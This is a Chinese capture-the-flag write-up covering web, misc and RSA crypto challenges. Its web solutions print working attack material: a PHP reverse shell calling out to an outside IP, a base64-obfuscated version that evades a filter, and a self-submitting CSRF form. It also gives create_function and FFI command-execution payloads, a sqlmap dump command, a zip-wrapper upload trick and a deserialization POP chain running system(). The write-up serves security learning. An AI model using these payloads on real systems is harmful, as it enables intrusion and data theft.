0x00 WEB

咕咕了好久,题太多了qwq,不知不觉一个月比完了,简单的不记了,记一些会做的题。MISC和觅?学没太玩,后期补上。

welcome

更改请求方式可发现源码。不贴了,很简单的哈希比较,因为哈希函数无法比较数组,所以这里可以用数组绕过,经过哈希函数处理后等于null,两个数组比较即null==null。

传入roam1[]=1&roam2[]=2,得到phpinfo文件,可以看到可疑的f1444aagggg.php

访问不了,嗨呀T T这里还卡了,抓包查看响应头得到flag。

EZgit

GitHacker撸下来源码,然后恢复。

ezbypass

请使用GET请求传入变量a和b,将其与strcmp进行比较,并让strcmp返回NULL值。请注意,a和b不能相等。

strcmp()不能处理数组因此可以使用数组绕过。利用字符串和数字比较的特性。

知X堂的php教程

/displaySourceCode.php?phpfile=listdir.php

查看listdir.php的源代码:

<?php
include("waf.php");

// 设置目录名称并进行扫描。
$search_dir = $_GET['dirname'];
$title = "教案";

// 防止命令注入
$search_dir = shellWaf($search_dir);

//$contents = scandir($search_dir); 或者使用
exec("ls $search_dir", $contents);

print "<h1>$title</h1><hr/><br/>";

// 列出文件。
foreach ($contents as $item) {
	if ( is_file($search_dir . '/' . $item) AND substr($item, 0, 1) != '.' ) {

	// 打印信息。
	print "<a href=\"displaySourceCode.php?phpfile=$search_dir/$item\">$item</a><br/>";
	}
}
?>

$search_dir = $_GET['dirname'];进行了shellWaf过滤处理,查看waf.php:

<?php

// 防御XSS
function html($string) {
	return htmlspecialchars($string);
}

// 防御命令注入
function shellWaf($string) {
	return preg_replace("/(&)|(\|)|(>)|(<)/i", "", $string);
}

不让输入&|大于号<。可以输入;执行系统命令。可惜虽然返回值赋给了$contents,但是列出文件那一块用的is_file命令,等于没有回显。

考虑使用PHP反弹shell。攻击机这边开启监听,然后目标机执行:

php -r '$sock=fsockopen("39.106.50.81",8044);exec("/bin/sh -i <&3 >&3 2>&3");'

因为过滤了&,所以base64编码一次,再调用base64_decode即可。

;php -r 'eval(base64_decode(JHNvY2s9ZnNvY2tvcGVuKCIzOS4xMDYuNTAuODEiLDgwNDQpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7));'

flagshop

转账时利用bp的功能自动生成poc。

在后面加一个自动提交。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="shawroot" />
      <input type="hidden" name="money" value="1234234234234234234" />
      <input type="hidden" name="messages" value="" />
      <input type="submit" value="Submit request" />
    </form>
  <script>document.forms[0].submit();</script>
  </body>
</html>

保存在自己服务器上惹,在报告中附上连接。验证码使用脚本跑。

import hashlib
import random
import string

strr = "48473"
while True:
    dic = ''.join(random.sample(string.ascii_letters + string.digits, 5))
    md = hashlib.md5(dic.encode("utf-8")).hexdigest()
    if md[:5] == strr:
        print(dic)
        break

发财啦。

FighterFightsInvincibly

$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);

create_function() 代码注入,第一个参数填create_function,第二个参数是形参,第三个参数是具体代码,但闭合}可以达到非预期的命令执行效果。

具体参考:https://blog.csdn.net/dyw_666666/article/details/90042852

Payload:?fighter=create_function&fights=&invincibly=;}phpinfo();/*

后记,查阅了官方的WP:

FFI中可以直接调用php源码中的函数,php_exec的type为3时对应的是passthru,直接将结果原始输出

import requests

url = "http://173.82.206.142:8004/"

# data = {"fighter": "create_function", "fights": "", "invincibly": """}$e=FFI::cdef("void *popen(char*,char*);\\nvoid pclose(void*);\\nint fgetc(void*);","libc.so.6");$o = $e->popen($_REQUEST['cmd'],"r");$d="";while(($c=$e->fgetc($o))!=-1){$d.=str_pad(strval(dechex($c)),2,"0",0);}$e->pclose($o);echo hex2bin($d);/*"""}
data = {"fighter": "create_function", "fights": "", "invincibly": """}$e=FFI::cdef("int php_exec(int type, char *cmd);");$e->php_exec(3,$_REQUEST['cmd']);/*"""}

while 1:
    cmd = input("cmd:>")
    res = requests.post(url, data=data, params={"cmd": cmd})
    result = res.text.split("-->")[1]
    print(result)

忏悔的刘壮

在Cookie中存了答案,这里截图用的Chrome插件是EditThisCookie。

import requests
import time

s = requests.session()
req = s.get(url = "http://120.79.197.4:5000/")

while True:
    cook = str(req.cookies)[34]
    data={'answer':cook}
    time.sleep(0.1)
    #<RequestsCookieJar[<Cookie answer=d for 120.79.197.4/>]>
    test = s.post(url = 'http://120.79.197.4:5000/check',data=data)
    #print(test.text)
    if "SYC{" not in test.text:
        req = s.get(url = "http://120.79.197.4:5000/do_answer")
        cook = str(req.cookies)[34]
        data={'answer':cook}
    else:
        print(test.text)
        break

运行后得到flag。比较坑的是第二次拿Cookie请求要访问/do_answer,否则永远都是只忏悔了一次。

带恶人六撞

sqlmap -u "http://49.234.224.119:7415/?id=1" -D geek_sql -T fllllag -C fllllllag --dump --batch

Myblog

看到参数是page,很容易想到使用伪协议读取源代码。

重点是login页面的这行代码:

<form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">

可以看到跳转到了admin/user目录,使用page参数+伪协议读取源代码,登录代码重点部分:

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

重点部分是对登录进行了判定:

  • username必须等于Longlone
  • password的值和$_SESSION[‘password’]相等。

这个比较好绕,把cookie删掉就可以了。进入后台界面,存在文件上传。

上传一个打包成zip的普通一句话?,上传时再将名字改为jpg。

再使用zip伪协议读取文件内容,格式为:

zip:// + zip路径 + %23 + php文件名

有两个点需要注意:

  • 文件后不用加php自带了
  • zip路径记得写./(当前目录)

这个?有玄学因素,这道题折腾了好久,?一会就断的。

pop chain epic

pop链(泡泡龙w

<?php
error_reporting(0);

class pop
{
    public $aaa;

    public static $bbb = false;

    public function __wakeup()
    {
        //Do you know CVE?
        echo "The class pop should never be serialized.";
        $this->aaa = NULL;
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}

class chain
{
    private $AFKL;

    protected function getAFKL()
    {
        return $this->AFKL;
    }
}

class epic extends chain
{
    public $aaa;

    public static $bbb = false;

    public function __invoke()
    {
        return self::$bbb;
    }

    public function __call($name, $params)
    {
        return $this->aaa->$name($params);
    }
}

if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} else {
    highlight_file(__FILE__);
}

看pop类,绕过__wakeup()魔术方法是老生常谈了。我们的目的是触发$this->aaa[1]($this->aaa[2])。这就需要满足self::$bbb,self:意思是本类,也就是$bbb的值不能是NULL也不能是false。

__destruct()魔术方法中for循环了两次,仔细观察发现,如果绕过__wakeup(),那么第一次$bbb的值母庸置疑为false,第二次值的其取决于第一次时赋值给它的回调函数的返回值call_user_func($this->aaa["object"]);

$aaa必须是个至少有三个元素的数组,其中一个键名存在object。

payload如下:

<?php
error_reporting(0);

class pop
{
    public $aaa;

    public static $bbb = false;
}

$shaw = new pop();
$shaw -> aaa = array('object'=>'phpinfo',1=>'system',2=>'tac /flag');
echo base64_encode(str_replace(":1:",":4:",serialize($shaw)));

0x01 MISC

来拼图

将所有碎片拼成一张图了,截取带字的碎片手动拼的,笨方法不可取。。

0x02 CRYPTO

babyRSA

用RSA Tool 2计算出d,正常写脚本解。

#!usr/bin/env python
# coding = utf-8

import libnum

n = 191051885543358947736760989661967468461742175898801910645529003886391047898839624568290216360845330501814019720570327197669064365268607597117598905046895097642708006373182989953758208523010345148200475257538336602695211819055893667974317905617522838840325499754862033348148407978527792816186094297381925119601464149
e = 0x10001
d = 155160103882717018609568644245108348095786576068487565542717597313278124641715095121687357545304076012222905016319572568740185239793256979452945732586110004573106555069367850082306040189904825031273432690062624018363345163634350533615158456233432021512870244687482994987178783208187370836526941286631745116461008173
C = 177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879862810654773207644687262596440870094409378849307188485755700138797651039936445998433830516207630858733090581643592843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194
M = pow(C,d,n)
print M
print libnum.n2s(M)

childRSA

广播攻击。

from gmpy2 import invert, iroot
from libnum import xgcd, invmod
import libnum

def broadcast(n1, n2 ,n3, c1, c2, c3):
    n = [n1, n2, n3]
    C = [c1, c2, c3]
    N = 1
    for i in n:
        N *= i

    Ni = []
    for i in n:
        Ni.append(N / i)

    T = []
    for i in xrange(3):
        T.append(long(invert(Ni[i], n[i])))

    X = 0
    for i in xrange(3):
        X += C[i] * Ni[i] * T[i]

    m3 = X % N
    m = iroot(m3, 3)
    return m[0]

n1=0xe096219878f492bcdb2a2d03995521e7a65125733bae18e7d0005e35343fea3653698de60231d29b2d1b44a0b4ffd3183855b9042275f769e1702fa8843062df0938821db0258af40ab3cda8e54eb6ac826d545df91dfe76266cb01b1d6fad39e6ef13ce730c1c2395136b0bbdf22c6b0daba63701d71c6ae70d4e06935b9941
c1=0xff24bddc5a7b327535af92dba58c5d62a22d542e6ba1df6f91c98c7563d8e48e770fb623bfcc2f09ed49788293306ff709670b225da32ea134422d5e403b11c39ef6b144f96b2fe94b3aa136432ecea86a4069a4cb0b4d8570edb3fb5bb2cf0693184ef0c589887b012ebe6ea94e854a71a7eb768133d15e784e388976877db
n2=0xa36b15a395edf3e99927f658e22d5f4aefd83434972c96cca5242a1aaa517ad83739451269723092dd9e73c00682dd3bbd74a985546def88196119b6d57b397283bc7b8b6029916df84284bec1725f6e5d3d29042af685c508a58ab6fb4e5bfeb326ae49330e3f4426abc1860ca4412feb976ee571075a47b854c9a6f5f0ebff
c2=0x895f8283e2200bab1bf938ce3b5e42147b53a5178e436ea0b64a2380ba99776d5ba8046ef722858b20d9650ee68c09e905030f1634e0b32397b7b12236a5a301e5923a294ef1bdf16458f4fc8677370ce2ce3d0fd957da7466e5b104191d454455917147f3187b758c1c468db1b35514391e5b36bd1ac39e91bbb24fdbc07872
n3=0x9d4732db2539d1166dc6865670be11951bf49295bc8c472f34682a0fb7f2b3ba96dcfa1945c2e4685dfeae5255abe2ab3b7fb2282971bb16ce02d14082f71755e8a65c956e114336914a409a9f1158fb362a92c4e169fa3c460ea26fb5c6693447b14f1c3156a2d9308dd993d7ea708a00ad149fb77109d8a5f77de1703ba249
c3=0x3bead3d6760bff4de22562978d4722bb21ee4792ebdb32703b6df9ff5176e033e97ad8fc81467f4b3df7bd4e8bcae09462f3eca93a3da1cd9d7e8de3e464471fdd0b70112c1c738b0daa2a37a65331eaa8954b81b410f62a0280da32eb3e305782d5f774d814ca0adb13344687387cf72657dc21724bcf69da810d7635b99467
print  broadcast(n1, n2 ,n3, c1, c2, c3)
print  libnum.n2s(broadcast(n1, n2 ,n3, c1, c2, c3))

⚪?一位师傅写的笔记:CTF-RSA基本破解姿势